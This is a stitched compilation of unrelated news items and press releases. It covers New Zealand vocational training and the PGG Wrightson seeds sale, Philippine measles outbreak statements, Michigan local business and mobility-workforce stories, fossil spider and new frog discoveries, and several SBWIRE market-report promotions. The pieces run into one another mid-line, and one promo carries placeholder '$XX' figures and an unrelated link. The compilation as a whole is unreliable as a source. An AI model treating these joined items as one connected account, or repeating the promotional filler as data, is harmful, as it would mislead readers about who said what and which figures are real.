Canterbury Employers Chamber of Commerce chief executive Leeann Watson says the government needs to make sure a centralised system doesnt ignore regional needs. And it also has to ensure the system doesnt only cater for people at the beginning of their careers, but also for employees retraining and upskilling throughout their working life.

There has to be a closer connection with industry so we understand what skills we need, Watson says. For example, just look at digital disruption and robotics and the impact on manufacturing. We need to be training young people, but also reskilling people in the workforce.

Business NZs Hope says overall the government is taking a step in the right direction.

Its a bold move and it needed to happen. We are at a point now where we have the opportunity to set ourselves up for the modern economy in terms of vocational training.

(BusinessDesk)

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PGG Wrightson has been cleared to sell its seeds business to Denmark's DLF Seeds.

The Commerce Commission said the $434 million transaction, announced in August, was unlikely to substantially reduce competition in any of the markets it assessed.

DLF is not at present a close competitor of PGG Wrightson Seeds in respect of ryegrass seeds containing endophytes and is unlikely to be so in the future, deputy chair Sue Begg said.

Further, the merged entity would continue to be constrained by Barenbrug Agriseeds, and a number of smaller competitors.

Wrightson expected to book a gain of about $285 million on the deal and signalled to investors it could return up to $292 million to shareholders on completion, either through a buy-back or a share cancellation.

The proposal won almost 97 percent support at a special meeting in October. The New Zealand Shareholders' Association opposed the transaction, saying the short-term gain for investors was offset by the remaining Wrightson operation being half the size and inferior to the seeds unit.

(BusinessDesk)

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22nd June 2021 Morning Report

21st June 2021 Morning Report

Infratil Limited (NZX: IFT) TPW Announces Conditional Sale of Its Retail Business

Trustpower Limited (NZX: TPW) Announces Conditional Sale of Its Retail Business

Mercury NZ Limited (NZX: MCY) Agrees to Acquire Trustpower's Retail Business

Precinct Properties New Zealand Limited (NZX: PCT) $250m Equity Raise to Fund Wellington Acquisitions

17th June 2021 Morning Report

Press Release

February 13, 2019 GORDON SHOOTS DOWN PROPOSAL TO DECLARE STATE OF CALAMITY IN REGIONS HIT BY MEASLES OUTBREAK Senator Richard J. Gordon, chairman of the Philippine Red Cross, has thumbed down a proposal to declare a state of calamity in the regions hit by the measles outbreak which has already caused at least 70 deaths, with majority of the fatalities coming from CALABARZON (Cavite Laguna, Batangas, Rizal, Quezon), as of February 11. During the NDRRMC Response Cluster Meeting held last Monday, Gordon warned against declaring a state of calamity at present since the number of measles cases is still manageable and does not yet justify such declaration. "There's no need to create a national emergency here. We're not in danger of a pandemic or an epidemic right now. It's manageable, therefore what you need right now is a call to arms to make sure that everybody is conscious of the need to immunize and that kids must be immunized... We don't have the numbers to justify that (declaration of a state of calamity). So let's not go slip-shod into something that we are not ready for, that doesn't call for it," he said. Section 3 of Republic Act 10121, known as the "Philippine Disaster Risk Reduction and Management Act of 2010," defines a State of Calamity as "a condition involving mass casualty and/or major damages to property, disruption of means of livelihoods, roads and normal way of life of people in the affected areas as a result of the occurrence of natural or human-induced hazard." Gordon also pointed out that with the mid-term elections set for May 13, some politicians could exploit the plight of the children sick with measles if a state of calamity is declared, which would give local government units access to calamity funds. "This is the election period, and excuse na naman yan to spend money...What is important is that we show that we're doing something to address the problem. What is important here is a notice to all to catch up with our immunization program," he said. Last week, the Department of Health (DOH) declared a measles outbreak in Metro Manila and subsequently declared a "red alert" outbreak in the regions of Luzon and parts of the Visayas. Data from the DOH- Epidemiology Bureau of DOH revealed that from Jan. 1 to Feb. 9 this year, a total of 4,302 measles cases have been reported, with 70 deaths. Regions with high reported cases are NCR (1,296 cases and 18 deaths) CALABARZON (1,086 cases and 25 deaths), Central Luzon (481 cases with 3 deaths), Western Visayas (212 cases and 4 deaths) and Northern Mindanao (189 cases and 5 deaths). Eastern Visayas, MIMAROPA, CALABARZON, Central Visayas and Bicol are regions that have shown increasing trend as to reported cases for this week.Press Release

February 13, 2019 ANGARA URGES DOH TO ENSURE STABLE SUPPLY OF MEASLES VACCINES BATAAN--Reelectionist Senator Sonny Angara urged the Department of Health (DOH) to ensure stable supply of measles vaccines in the country, especially in areas where there are outbreaks of the highly contagious disease. "The DOH must ensure consistent and adequate supply of measles vaccines in anticipation of increased demand as many people rush to protect themselves and their children from the virus," Angara said. Angara was in Bataan on Wednesday for a political rally organized by Hugpong ng Pagbabago, which is led by presidential daughter and Davao City Mayor Sarah Duterte. The DOH has recently confirmed measles outbreaks in Metro Manila, Central Luzon, Calabarzon, Western Visayas and Central Visayas. DOH data showed that a total of 437 cases and six deaths from measles were reported in Central Luzon from January 1 to February 7 this year, compared to only 32 cases with no death during the same period last year. Of the seven provinces in Central Luzon, Bulacan has the highest number of measles cases with 144, followed by Pampanga with 136; Tarlac with 89; Bataan with 27; Zambales with 23; Nueva Ecija with 18. The province of Aurora had no measles case. Out of the six deaths, three were from Pampanga and one each in Bulacan, Bataan and Zambales. According to Angara, ensuring that essential vaccines and medicines are available is critical in the fight against measles. "Importante na may sapat na suplay sa lahat ng barangay health center sa buong bansa para masiguro natin na lahat ng nangangailangan ng bakuna ay mabigyan nito,"Angara said. Angara also urged parents to have their children immunized against measles in any government health center, where the vaccines are administered for free. The senator, who is one of the authors of the Universal Health Care Bill that aims to give all-inclusive health coverage for Filipinos, maintained that immunization is the best protection against measles, a highly contagious disease that could sometimes lead to serious health complications and even death.An upcoming summit at Washtenaw Community College (WCC) will focus on better engaging traditionally underserved groups in Michigan employers' hiring process.

The Workforce Pipeline Summit will take place March 18 at WCC's Morris Lawrence Building, kicking off with networking and registration from 7-8 a.m. and concluding at 4:30 p.m. The summit is sponsored by the A2Y Chamber.

"I'm hoping to be bold and push the envelope," says Rich Chang, summit organizer and CEO of the Ann Arbor company NewFoundry. "We have a saying at NewFoundry: Think local, look local, hire local. It's a great community we have here. Let's build it up and tap into that hidden talent pool."

Business owners' main hiring tactics usually consist of going to an online job board or hiring a recruiter. But Chang says those recruiting strategies often overlook groups such as creatives, people over age 55, people who have returned from incarceration, people with disabilities, and veterans.

"Instead, maybe we should start talking to community organizations and looking at these different groups of people who want to work and be contributing members of the community," he says. "I hope this event will look at the barriers these underserved groups face."

The morning session will consist of short informational talks to set the agenda and get conversations started around systemic factors, biases, and policies that all play into pipeline development. Speakers will include representatives from local colleges and universities, county government, the Workforce Intelligence Network, and local businesses.

After lunch at noon, breakout groups will talk about sub-topics with subject matter experts and come up with a vision for two-, five-, and 10-year plans.

"We want them to come up with solutions that are measurable and actionable, that we can follow through for the next 10 years," Chang says.

When the day finishes, the steering committee will take those plans and create two-, five-, and 10-year master plans.

Chang says he is in talks with Destination Ann Arbor to make the summit an annual occurrence or series of events.

Registration before Feb. 28 is $35 for members of the A2Y Chamber and $50 for non-members, with prices going up by $10 after the 28th. Students can register for $15, and scholarships are available. More information and registration is available here.

Sarah Rigg is a freelance writer and editor in Ypsilanti Township and the project manager of On the Ground Ypsilanti. She has served as innovation and jobs/development news writer for Concentrate since early 2017 and is an occasional contributor to Driven. You may reach her at sarahrigg1@gmail.com.

Photo courtesy of Rich Chang.The United States Department of Agriculture (USDA) is awarding over $1 million in funding to partners in the Ann Arbor Greenbelt: Saving Michigan Farms Regional Conservation Partnership Program (RCPP).



While such an endowment is not a first in the region, it is the first such USDA award that the Greenbelt program has ever received.



"This grant award is indicative of the leadership role the Greenbelt plays in land conservation in our region," says Remy Long, Ann Arbor greenbelt program manager.



The Greenbelt and its local partners will match the grant, which means $2 million will go toward protecting farmland in Washtenaw County and the surrounding Ann Arbor area through conservation easements.



"It is difficult to say how much additional acreage could be protected with these funds, as values differ across the region," Long says. "The partners are committed to leveraging every dollar we can to protect as much land as possible."



To date, the Greenbelt program has protected over 5,200 acres of farmland and open space surrounding Ann Arbor, and has leveraged over $25 million.



Matching funds are often secured through collaboration with other organizations and local, state, and federal agencies.



For several transactions, landowners themselves contributed a portion of the purchase price by selling the development rights at bargain sale prices.



Landowners interested in enrolling their property in a conservation easement should contact the Greenbelt local government partner in their area. Applications are being accepted continuously, with the first funding cycle running from Feb. 11 to March 18.



More information about the Greenbelt is available here.



Jaishree Drepaul-Bruder is a freelance writer and editor currently in based in Ann Arbor. She can be reached at jaishreeedit@gmail.com

Photo courtesy of Ann Arbor Parks and Recreation Services.Franklin D. Roosevelts 1940 speech that spurred the nation to recognize the need for an arsenal of democracy to support the Allies during WWII was inspiration for a panel discussion called Arsenal of Mobility at the North American International Auto Show's AutoMobili-D showcase.Just as the arsenal of democracy concept referred to the efforts of American industry to support the troops fighting in the war that the U.S. would enter the following year, so does the arsenal of mobility call upon the automotive industry to support the growth and retention of a strong mobility workforce, for the economic strength of the industry, the region, and the people who live here.The panel discussion, led by Chris Thomas, co-founder and president of Detroit Mobility Lab, focused on key points related to building the right strata of skills and opportunities for mobilitys future in Detroit, with a firm line drawn under the role of industryinvestment to make this happen. We share wisdom from this panel discussion here.Alisyn Malek, chief operating officer with Ann Arbor-based May Mobility , shared her experience in a former role in recruitment for a major automaker at Stanford University. She says getting people to move from Palo Alto to Michigan required more than just a promise of a great job.We needed to have one-to-one conversations about what it is like living and working here, says Malek, who participated in the panel discussion. I had to bring candidates to Ann Arbor and to Royal Oak, which is great. But I also gave private tours of Detroit to get candidates excited. Recognizing Detroit is a cool place to live, and a region that has lots of opportunities helps, Malek says. This happens only when multiple companies and industries invest in the region.One new tool that can help demystify Michigan is Lets Detroit , a Detroit Regional Chamber platform that connects those who are considering a move to work in Detroits mobility ecosystem with Detroiters who can answer questions about where to live, eat, find jobs, have fun, and get around.Michigan automotive accelerator MICHauto conducted two distinct perception surveys to apply real analytics and market research to what students and the business community think about automotive careers. Glenn Stevens, MICHauto executive director, also spent time in California and across Europe to gather perceptions, ultimately to encourage industry and talent to migrate to Detroit.Its all about perception. But the reality is that the vehicle is the most high tech product on the face of the earth, and now its at the center of ( the internet of things ), Stevens says. We need to make sure we are connecting people from other places and from other countries to want to come here and work on high tech products that solve global problems, not those that contribute to them.With 17 OEMs and the worlds densest cluster of suppliers, engineers, and assets right here in Michigan, the region is well positioned to build on a higher-tech version of the past century of automotive manufacturing. And we have educational institutions and a workforce willing to train new skills for a new industry. Industry must support the growth of this arsenal. But are companies willing to invest to help existing talent learn the skills to work in mobility? And are they willing to invest in education to usher in a new generation of mobility workers?Is there training and the right set of programs that help people transition to new jobs? This is one of the things we have heard. We have the talent but they are not getting the bridge, says Jessica Robinson, executive director of the Michigan Mobility Institute Robinson recognizes that a new type of engineer will help lead mobility companies, suppliers, and OEMs forward, and at the core of their skill set will be systems thinking, rather than the high level of specialization that is suited to efficient output of vehicles on specific timeframes.People are wired to think that way, but have not been exposed to new technology, Robinson explains. They are on time to deliver in 2021 and 2022, with no extra-curricular development. Future engineers need to be comfortable with software and AI because they will be part of our lives. Mined from real-world information gained from a field autonomy engineer at May Mobility, Robinson formed a picture of the cluster of tinkering skills needed in future.This individual has a background in mechanical engineering, and now he works to understand the patterns of thinking and how the vehicle interacts, she says. Not hypothetically, but in the real environment.The will to change based on future expectations must exist now, much as it did at the end of WWII, says Robinson.After the war, Stanford shut down its aeronautical engineering program. They said no more world war, so we dont need aircraft in the same way. Alumni who were at Lockheed said Do not stop the aeronautical program! And they came in and they invested. We are not there yet as an industry, but I hope we recognize this is a do or die time for us, Robinson says. The time is now.Automotive companies will say they are tech companies now, and thats because they are, says Stevens.In addition to community college, university, high school, and middle school outreach programs, talent experts are recognizing the value of getting 4th and 5th graders enthused about the high tech aspect of the automotive industry, even if their parents, counselors, and other influencers hold outdated beliefs about what the auto industry is all about.We have to look at things differently, says Stevens. People will argue that we have to diversify away from automotive. But the best diversification platform we have is automotive.Much work needs to be done to change parental perceptions, says Robinson, who talks to parents who admit they love the advances taking place in mobility, but will tell their kids to find a good career elsewhere.We have a wonderful place to work, live, and play, Stevens says. We have to make sure that kids that grow up here, or people who move here, or the veterans who want to get back into the workforce here, or immigrants who want to come here, that there are opportunities for them and that they know this is an industry that is focused on high tech and growth.Parallel to transportation models are new business models that focus on service and customer support. Auto companies will need to learn how to provide service to customers in order to succeed. Other industries and other regions do this well, but its something Detroit needs to learn.The business of mobility, says Malek, is not manufacturing vehicles, but building and growing ongoing relationships.The value is moving away from the vehicle as a sales transaction and toward the experience of moving from point A to point B, says Malek. I need my customers to want to pay me every month, and I have a relationship with them. They get to sign up and say I want to keep doing this because its valuable to my business.Why not just do software development in Silicon Valley and hardware development in Detroit? Ultimately, smart mobility suppliers come to Michigan because of the rich safety expertise that is 100 years in the making.Malek illustrates May Mobilitys case for being in Michigan.Our hardware engineers and software engineers sit together. Thats the only way to develop a safe and reliable system, she says. Anyone who thinks we can stick software on the coast and cross our fingers has lost their minds and doesnt understand the nature of this work. This is a huge case for Michigan.Visit Driven and learn how the Detroit region is leading the world in next-generation mobility.Despite an ice storm, local restaurant owners and managers were waiting at the door at 7 a.m. on Feb. 6 when Restaurant Depot's new Ypsilanti Township location opened for business at 1347 James L. Hart Parkway.

Restaurant Depot stores are similar to Costco or Sam's Club, but focused on restaurant clients. Purchasing supplies at a Restaurant Depot requires a free membership that entitles qualifying businesses with a valid reseller's permit or a tax-exempt certificate for nonprofits to make tax-free bulk purchases.

Township officials, representatives from Ann Arbor SPARK and the A2Y Chamber, and a few local business people attended a ribbon-cutting ceremony for the business at 9 a.m. During the ceremony, township supervisor Brenda Stumbo noted that the store was bringing jobs to the township.

"This is good news. We welcome you," Stumbo said.

The 55,000-square-foot warehouse opened with just under 40 employees, but branch manager Andy Branham says he expects that after the store is in business for a few months and adds a fresh seafood department, the staff will be closer to 60.

Michigan has two other Restaurant Depot locations in Dearborn and Troy. Sandra Roberts, director of sales and marketing for Restaurant Depot's Midwest region, says many restaurant managers and owners in Washtenaw County were already shopping at the two other stores and were waiting and watching for one to open closer to home.

Branham says he expects restaurants on the east side of I-275 to continue to shop in Dearborn and Troy while businesses west of 275 will start coming to the Ypsi Township location.

Sarah Rigg is a freelance writer and editor in Ypsilanti Township and the project manager of On the Ground Ypsilanti. She has served as innovation and jobs/development news writer for Concentrate since early 2017 and is an occasional contributor to Driven. You may reach her at sarahrigg1@gmail.com.

Photos by Sarah Rigg.Seven ports

Nisomar is providing launch services to Norwegian Cruise Line, Oceania Cruises and Regent Seven Seas Cruises in seven Chilean ports.

Included are berthing assistance, pilot embarkation/disembarkation, local port authority liaison and service launches for each visit.

Ports under the agreement are Arica, Iquique, Coquimbo, San Antonio, Puerto Montt, Puerto Chacabuco and Punta Arenas.

'Were very pleased to renew our launch services agreement with Norwegian Cruise Line Holdings for the second year running, which is an endorsement of the quality of our service,' said Jaime Otero, regional managing director, Nisomar South America. 'We will work extremely hard with Norwegian Cruise Line Holdings to achieve another very successful cruise season.'In a paper published in the Journal of Systematic Palaeontology, an international team of paleontologists from the University of Kansas, the Korea Polar Research Institute and the Daejeon Science High School for the Gifted has described a collection of fossil spiders from an area of Korean shale called the Jinju Formation. Whats the most remarkable: two of the newly-described specimens feature reflective eyes that enabled their nighttime hunting.

The newly-discovered spiders lived in what is now Korea between 110 and 113 million years ago (Cretaceous period).

The Jinju shale preserved the fossils in a manner that highlighted the reflectivity of the tapetum, a feature that may have been missed had the spiders been preserved in amber instead, as is more typical.

Because these spiders were preserved in strange slivery flecks on dark rock, what was immediately obvious was their rather large eyes brightly marked with crescentic features, said University of Kansas Professor Paul Selden.

I realized this must have been the tapetum  thats a reflective structure in an inverted eye where light comes in and is reverted back into retina cells.

This is unlike a straightforward eye where light goes through and doesnt have a reflective characteristic.

Some contemporary spiders feature eyes with a tapetum, but this study is the first to describe the anatomical feature in a fossilized spider.

In spiders, the ones you see with really big eyes are jumping spiders, but their eyes are regular eyes  whereas wolf spiders at nighttime, you see their eyes reflected in light like cats, Professor Selden said.

So, night-hunting predators tend to use this different kind of eye.

This was the first time a tapetum had been in found in fossil.

This tapetum was canoe-shaped  it looks a bit like a Canadian canoe. That will help us place this group of spiders among other families.

The description of the fossils increases the number of known spiders from the Jinju Formation from one to 11.

Beyond the novelty of discovering the first fossilized-spider tapetum, they informed the scientific understanding of Cretaceous biodiversity.

This is an extinct family of spiders that were clearly very common in the Cretaceous and were occupying niches now occupied by jumping spiders that didnt evolve until later, Professor Selden said.

But these spiders were doing things differently. Their eye structure is different from jumping spiders. Its nice to have exceptionally well-preserved features of internal anatomy like eye structure. Its really not often you get something like that preserved in a fossil.

_____

Tae-Yoon S. Park et al. A diverse new spider (Araneae) fauna from the Jinju Formation, Cretaceous (Albian) of Korea. Journal of Systematic Palaeontology, published online January 28, 2019; doi: 10.1080/14772019.2018.1525441A team of researchers from New York University Abu Dhabi has described a new species of frog from Bibita Mountain, an unexplored and isolated mountain in southwestern Ethiopia.

The highlands of Ethiopia are known for their high degree of diversity and endemism.

Approximately half of all species of anurans (frogs and toads) from this country are endemic, including five endemic genera.

Bibita Mountain was under the radars of New York Universitys Dr. Jacobo Reyes-Velasco and colleagues for several years due to its isolation and because no other zoologist had ever explored it before.

Untouched, isolated, and unexplored: it had all the elements to spike our interest, Dr. Reyes-Velasco said.

We tried to reach Bibita in a previous expedition in 2016 without success. Last summer, we used a different route that brought us to higher elevation.

Named the Bibita Mountain dwarf puddle frog (Phrynobatrachus bibita), the newfound species is unique among Ethiopian puddle frogs.

It has a small size (1.7 cm for males and 2 cm for females), a slender body with long legs and elongated fingers and toes, and a golden coloration.

When we looked at the frogs, it was obvious that we had found a new species, they look so different from any Ethiopian species we had ever seen before, said Dr. Sandra Goutte, also from New York University Abu Dhabi.

The team also sequenced tissue samples from the Bibita Mountain dwarf puddle frog and found that it is genetically different from any frog species in the region.

The discovery of such a genetically distinct species in only a couple of days in this mountain is the perfect demonstration of how important it is to assess the biodiversity of this type of places, said New York Universitys Dr. Stephane Boissinot.

Bibita Mountain probably has many more unknown species that await our discovery; it is essential for biologists to discover them in order to protect them and their habitat properly.

The discovery is reported in the journal ZooKeys.

_____

S. Goutte et al. 2019. A new species of puddle frog from an unexplored mountain in southwestern Ethiopia (Anura, Phrynobatrachidae, Phrynobatrachus). ZooKeys 824: 53-70; doi: 10.3897/zookeys.824.31570Huntingdon Valley, PA -- (SBWIRE) -- 02/13/2019 -- The award-winning realtors from the Joseph Bograd Real Estate Team are pleased to announce they will once again be partnering up with the American Cancer Society to aid in the fight against cancer.



On Friday, March 15, 2019, at 7:00 p.m., friends, families, and neighbors are invited to the American Cancer Society's 4th Annual GALA4ACURE at Golden Gates. This one-of-a-kind evening will feature fantastic food, dancing, live and silent auctions, and much more. Through the generous help and support of the local community, the Joseph Bograd Real Estate Team along with the American Cancer Society intend to raise awareness about this awful disease and the importance of cancer research funds. In fact, since 1946, the American Cancer Society has invested over $4 billion towards finishing the fight against cancer. To learn more about this incredible fundraising gala, feel free to contact the Joseph Bograd Real Estate Team.



Once the celebration is complete, interested homebuyers will also have the opportunity to learn about homes for sale in Bucks County, PA, and the surrounding areas. The realtors from the Joseph Bograd Real Estate Team are among the most experienced in the area and can help homeowners find the home that fits their needs and is within their budget. Thanks in part to the high level of professionalism this realty company practices, they guarantee the satisfaction of every client they do business with.



Remaining dedicated to their clients, as well as local communities and charities, these real estate agents take great pride in making dreams become a reality. Those who have been searching for houses for sale in Bucks County and the surrounding area should contact this real estate company at 267-282-1721.



About Joseph Bograd

A realtor for RE/MAX, Joseph Bograd has been serving Philadelphia, Bucks, Delaware, and Montgomery Counties for over 15 years, helping residents find an affordable home or rental property. He takes customer service very seriously and is dedicated to exceeding expectations. As a reputable realtor in the area, he is available to communicate with and assist in any issue his clients are dealing with.



For more information, or to get in touch with Joseph Bograd or his team, please visit https://www.josephbograd.com.Maharashtra, India -- (SBWIRE) -- 02/13/2019 -- Tea Tree Oil Market



Summary



Tea tree oil, also known as melaleuca oil is an essential oil with a fresh camphoraceous odor and a color that ranges from pale yellow to nearly colorless and clear. It is taken from the leaves of the Melaleuca alternifolia, which is native to Southeast Queensland and the Northeast coast of New South Wales, Australia.



Download Research Study With Latest Advancement Trends and Application @ https://www.reportsmonitor.com/request_sample/333427



According to this study, over the next five years the Tea Tree Oil market will register a 5.4% CAGR in terms of revenue, the global market size will reach US$ 43 million by 2024, from US$ 31 million in 2019.



Major Features:



The Tea Tree Oil is extracted from Melaleuca Ahemifolia, this plant is native to Australia, and is only suitable for planting in subtropical climates. Australia is the main production base of Tea Tree Oil, with over 80% share in global. Global key manufacturers: Main Camp, G.R. Davis, Maria River Plantation, Cassegrain Kalara, NATTO, Jenbrook, LvHuan Technology, Coromandel Mountains, Fuyang Biotechnology, Oribi Oils, Nandu Biology, Bestdo Technology, Thursday Plantation and SOiL and so on.



The sales volume of Tea Tree Oil was 692 metric tons in 2017, of which 81.51% is produced in Australia. North America and Europe are the major consumption markets, with global Market Share of 48% and 22% in 2017. Asia is a potential market; the Market Share is gradually increased year by year.



Tea Tree Oil mainly sales in pure oil form, Some companies make TTO as "medicinal" "pharmaceutical" or "premium" grade, this is usually based on these oils containing a slightly higher percentage of terpinen-4-ol,however, there is no scientific evidence that these oils are more antimicrobial active than regular TTO.



As the downstream healthcare industry is on a flourishing development nowadays, the importance of Tea Tree Oil will become more and more apparent over time, and when the market outbreak its potential, Tea Tree Oil industry will enter a new era.



Tea tree oil is also produced in several other countries including China, South Africa, Kenya, Indonesia and Thailand. All of this TTO is produced from Melaleuca alternifolia, an Australian native tree that originated in the coastal regions of Southern Queensland and Northern NSW. No one can accurately state how much TTO is produced in these other countries.



Avail discount while purchasing this report @ https://www.reportsmonitor.com/check_discount/333427



This study considers the Tea Tree Oil value and volume generated from the sales of the following segments:



Segmentation by product type:

Pharmaceutical Grade Oil

Premium Grade Oil



Segmentation by application:

Medicine

Skincare Products

Other Use



The report also presents the market competition landscape and a corresponding detailed analysis of the major vendor/manufacturers in the market. The key manufacturers covered in this report:

Main Camp

G.R. Davis

Maria River Plantation

Cassegrain Kalara

NATTO

Jenbrook

LvHuan Technology

Coromandel Mountains

Fuyang Biotechnology

Oribi Oils

Nandu Biology

Bestdo Technology

Thursday Plantation

SOiL



Key Regions for this market: North America, Europe, APAC, Latin America, and the Middle East & Africa.



Key Benefits:



1.The research report provides a detailed analysis of the Tea Tree Oil Market along with the current and future growth prospects so as to shed light on the prominent investment pockets.



2.Information regarding key growth factors, constraints, and opportunities, along with their impact analysis on the Tea Tree Oil Market is provided.



3.Porter's fives forces analysis elaborates the effectiveness of buyers and suppliers operating in the market, globally and regionally.



4.The qualitative and quantitative analysis of the market from 2019 to 2024 is provided to put forth the market potential.



Have Any Query or Specific Requirement? Ask to Our Industry Expert @ https://www.reportsmonitor.com/report/333427/-Market



Key questions answered in the report include:



What will the market size and the growth rate by the end of the forecast period?

What are the key industry trends impacting the growth of the market?

What are the key factors driving and restraining the Tea Tree Oil market?

What are the challenges to market growth?

What are the market opportunities and threats faced by the key players in the market?

Who are the leading competitors functioning in the market for Tea Tree Oil?

What are the key outcomes of Porter's five forces analysis of the Tea Tree Oil market?

Conclusion:



The report concludes with the profiles of major players in the Tea Tree Oil Market. The foremost market performers are accessed on the basis of various parameters such as company overview, product portfolio, and do on., as well as the latest development trends of the Market.



Thanks for reading this article; you can also get individual chapter wise section or region wise report version like Asia, United States, Europe.



About Reports Monitor

Reports Monitor is a market intelligence and consulting firm with extensive experience and knowledge of the Market Research industry.



Our aim is to change the dynamics of the Market Research industry by providing quality intelligence backed by data. Your requirement for market forecasting is fulfilled by our exclusive quantitative and analytics driven intelligence. Decision makers can now rely on our distinct data gathering methods to get factual market forecasting and detailed analysis.Selbyville, DE -- (SBWIRE) -- 02/12/2019 -- A Smart Building is: Also referred to as an Intelligent Building. Smart buildings improve the productivity of people and processes by leveraging technology & actionable information to help you & your building make better decisions and become smart, efficient and sustainable.



Scope of the Report:

This report focuses on the Smart Building Market, especially in North America, Europe, Asia-Pacific, South America, Middle East and Africa. This report categorizes the market based on manufacturers, regions, types and applications.



Request a sample of this premium report at: https://www.marketstudyreport.com/request-a-sample/924584/



Smart Building Market Segment by Top Manufacturers Including:

Honeywell, Johnson Controls, Siemens, UTC, Schneider, Ingersoll Rand(Trane), Azbil, General Electric, Eaton and Legrand.



An inherent sub-vertical of the Manufacturing and Construction Industry space, Smart Building market stands to gain remarkable proceeds over 2018-2023, as per a recently compiled report Market Segment by Regions, regional analysis covers:

North America (United States, Canada and Mexico)

Europe (Germany, France, UK, Russia and Italy)

Asia-Pacific (China, Japan, Korea, India and Southeast Asia)

South America (Brazil, Argentina, Colombia)

Middle East and Africa (Saudi Arabia, UAE, Egypt, Nigeria and South Africa)



Market Segment by Type, covers

- Software Information System

- Building Management System

- Engineering of Electronic Equipment Plant

- Installation & Service



Market Segment by Applications, can be divided into:

- Commercial Buildings

- Residential Buildings

- Government Buildings



Request a discount on standard prices of this premium report at: https://www.marketstudyreport.com/check-for-discount/924584/



There are 15 Chapters to deeply display the global Smart Building market.



Chapter 1, to describe Smart Building Market Introduction, product scope, market overview, market opportunities, market risk, market driving force;



Chapter 2, to analyze the top manufacturers of Smart Building, with sales, revenue, and price of Smart Building, in 2016 and 2017;



Chapter 3, to display the competitive situation among the top manufacturers, with sales, revenue and market share in 2016 and 2017;



Chapter 4, to show the global market by regions, with sales, revenue and market share of Smart Building, for each region, from 2013 to 2018;



Chapter 5, 6, 7, 8 and 9, to analyze the key regions, with sales, revenue and market share by key countries in these regions;



Chapter 10 and 11, to show the market by type and application, with sales market share and growth rate by type, application, from 2013 to 2018;



Chapter 12, Smart Building market forecast, by regions, type and application, with sales and revenue, from 2018 to 2023;



Chapter 13, 14 and 15, to describe Smart Building sales channel, distributors, traders, dealers, Research Findings and Conclusion, appendix and data source



Table of Contents:



1 Smart Building Market Overview

1.1 Product Overview and Scope of Smart Building

1.2 Classification of Smart Building by Types

1.2.1 Global Smart Building Revenue Comparison by Types (2017-2023)

1.2.2 Global Smart Building Revenue Market Share by Types in 2017

1.2.3 Software Information System

1.2.4 Building Management System

1.2.5 Engineering of Electronic Equipment Plant

1.2.6 Installation & Service

1.3 Global Smart Building Market by Application

1.3.1 Global Smart Building Market Size and Market Share Comparison by Applications (2013-2023)

1.3.2 Commercial Buildings

1.3.3 Residential Buildings

1.3.4 Government Buildings

1.4 Global Smart Building Market by Regions

1.4.1 Global Smart Building Market Size (Million USD) Comparison by Regions (2013-2023)

1.4.1 North America (USA, Canada and Mexico) Smart Building Status and Prospect (2013-2023)

1.4.2 Europe (Germany, France, UK, Russia and Italy) Smart Building Status and Prospect (2013-2023)

1.4.3 Asia-Pacific (China, Japan, Korea, India and Southeast Asia) Smart Building Status and Prospect (2013-2023)

1.4.4 South America (Brazil, Argentina, Colombia) Smart Building Status and Prospect (2013-2023)

1.4.5 Middle East and Africa (Saudi Arabia, UAE, Egypt, Nigeria and South Africa) Smart Building Status and Prospect (2013-2023)

1.5 Global Market Size of Smart Building (2013-2023)

2 Manufacturers Profiles

2.1 Honeywell

2.1.1 Business Overview

2.1.2 Smart Building Type and Applications

2.1.2.1 Product A

2.1.2.2 Product B

2.1.3 Honeywell Smart Building Revenue, Gross Margin and Market Share (2016-2017)

2.2 Johnson Controls

2.2.1 Business Overview

2.2.2 Smart Building Type and Applications

2.2.2.1 Product A

2.2.2.2 Product B

2.2.3 Johnson Controls Smart Building Revenue, Gross Margin and Market Share (2016-2017)



For more information on this report at: https://www.marketstudyreport.com/reports/global-smart-building-market-by-manufacturers-countries-type-and-application-forecast-to-2023/?utm_source=releasewire.com-SP



Related Reports: -



2018 Global Smart Building Industry Report - History, Present and Future



The global market size of Smart Building is $XX million in 2017 with XX CAGR from 2013 to 2017, and it is expected to reach $XX million by the end of 2023 with a CAGR of XX% from 2018 to 2023.



https://www.marketstudyreport.com/reports/2018-global-smart-building-industry-report-history-present-and-future/?utm_source=RR-SP



Read more at: https://www.marketwatch.com/press-release/car-navigation-systems-market-development-and-trends-forecasts-report-2018-2023-2019-01-19



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Blog: https://www.marketstudyreport.com/blog/Valley Cottage, NY -- (SBWIRE) -- 02/12/2019 -- The competitive landscape of the market for garbage bag market is a mildly fragmented one marked with the presence of quite a few large players, according to a report published by Future Market Insights (FMI). The key players in the European garbage bag market are Novolasta, s.r.o Senkvice, Extrapack OOD, Pack-It BV, Achaika Plastic S.A., DAGOPLAST AS, Terdex GmbH, International Plastics, MirPack TM, Plasta.It, Primax D.o.o. The key players are now focusing on research and development of garbage bags in a bid to stay ahead in the competition. These market players are also trying to expand their geographical reach through collaborations with local players.



So far as geography is considered, the market for European garbage bag has been segmented into Germany, France, Italy, Spain, U.K., Russia, and BENELUX. Belgium, Netherlands, and Luxembourg comprise BENELUX.



Request more information of Report with table of contents and Figures @ https://www.futuremarketinsights.com/reports/sample/rep-eu-3034



Owing to the high demand of garbage bags across Europe, the market is anticipated to soar registering a good CAGR during the forecast period of 2016-2026.



Demand for Biodegradable Garbage Bags to Bolster Growth



The market has been segmented into five categories, so far as material is considered. The segments are, namely Low-density polyethylene (LDPE), Liner low-density polyethylene (LLDPE), High-density polyethylene (HDPE), Polypropylene (PP) and others.



High-density polyethylene (HDPE) is characterized with high performance and extreme tensile strength and with these qualities, HDPE is forecasted to spearhead the European market for garbage bags. This segment accounted for 30% of the total revenue of the European market in 2016. During the forecast period of 2016-2026, the segment of HDPE is expected to expand at a CAGR of 5.5%.



These garbage bags have the ability to contain substantial amount of weight and are cost effective as well. Such characteristics are expected to propel the market for high-density polyethylene garbage bags. Furthermore, high-density polyethylene or HDPE bags come with biodegradable versions. Biodegradable HDPE bags are made of domestic biomass material thereby diminishing oil dependency. They are also easy to recycle and are frequently used.



Developed economies of countries like the U.K. and Germany are expected to fuel the demand for premium garbage bags. These premium garbage bags come with qualities like odour control and ability to stretch and people from the developed countries are willing to pay the extra bucks for these premium quality garbage bags. As such, the opportunity for such premium quality garbage bags are increasing.



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Stringent Government Policies to Restrain the Growth of the Market



